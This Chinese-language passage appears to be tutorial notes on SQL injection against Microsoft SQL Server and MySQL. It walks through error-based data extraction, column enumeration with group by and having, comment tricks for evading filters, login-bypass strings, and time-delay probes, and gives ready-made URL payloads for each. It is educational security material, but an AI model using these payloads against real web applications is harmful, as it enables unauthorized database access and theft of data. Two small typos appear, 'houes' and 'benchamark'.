Microsoft SQL Server错误
可以使用一些技术来检索嵌入在数据库返回错误的信息。第一种是通过将字符串转换为整数来产生:
?category=bikes' and 1=0/@@version;--
数据库报告一个错误,将@@version结果转换成一个整数并显示其内容
可以用该技术显示数据库的任何变量:
?category=bikes' and 1=0/user;--
还有一些技术可用于显示数据库执行的语句的信息,比如使用 having 1=1:
?category=bikes' having '1'='1
应用响应如下:
Server Error in '/' Application
Column 'products.productid' is invalid in ...
将 having 与 group by 结合使用枚举select语句中的所有列:
?category=bikes' group by productid having '1'='1
应用响应如下:
Server Error in '/' Application
Column 'products.name' is invalid in ...
继续增加即可枚举所有列:
?category=bikes' group by productid,name having 1=1
应用响应如下:
Server Error in '/' Application
Column 'products.price' is invalid in ...
枚举完所有列后,还可以用前面的类型转换错误技术检索对应的值:
?category=bikes' and 1=0/name;--
终止式SQL注入
由于应用可能清除空格,不会得到我们想要的结果,可以添加不带内容的多行注释避免:
?uid=45/**/or/**/1=1
查询格式:
select * from administrators where username='[user entry]' and password='[user entry]'
在username注入 'or 1=1;-- :
select * from administrators where username='' or 1=1;-- ' and password='';
有时无法使用双连字符 -- ,可能对它进行过滤。
于是可以在username注入 admin'/*
在password中注入*/'
select * from administrators where username='admin'/*' and password='*/'';
时间延迟
Microsoft SQL Server服务器包含一条向查询引入延迟的内置命令:waitfor delay 'houes:minutes:seconds'
?uid=45;waitfor delay '0:0:5';--
mysql中,可以使用benchmark
?id=32;select benchamark(10000000,encode('hello','mom'));--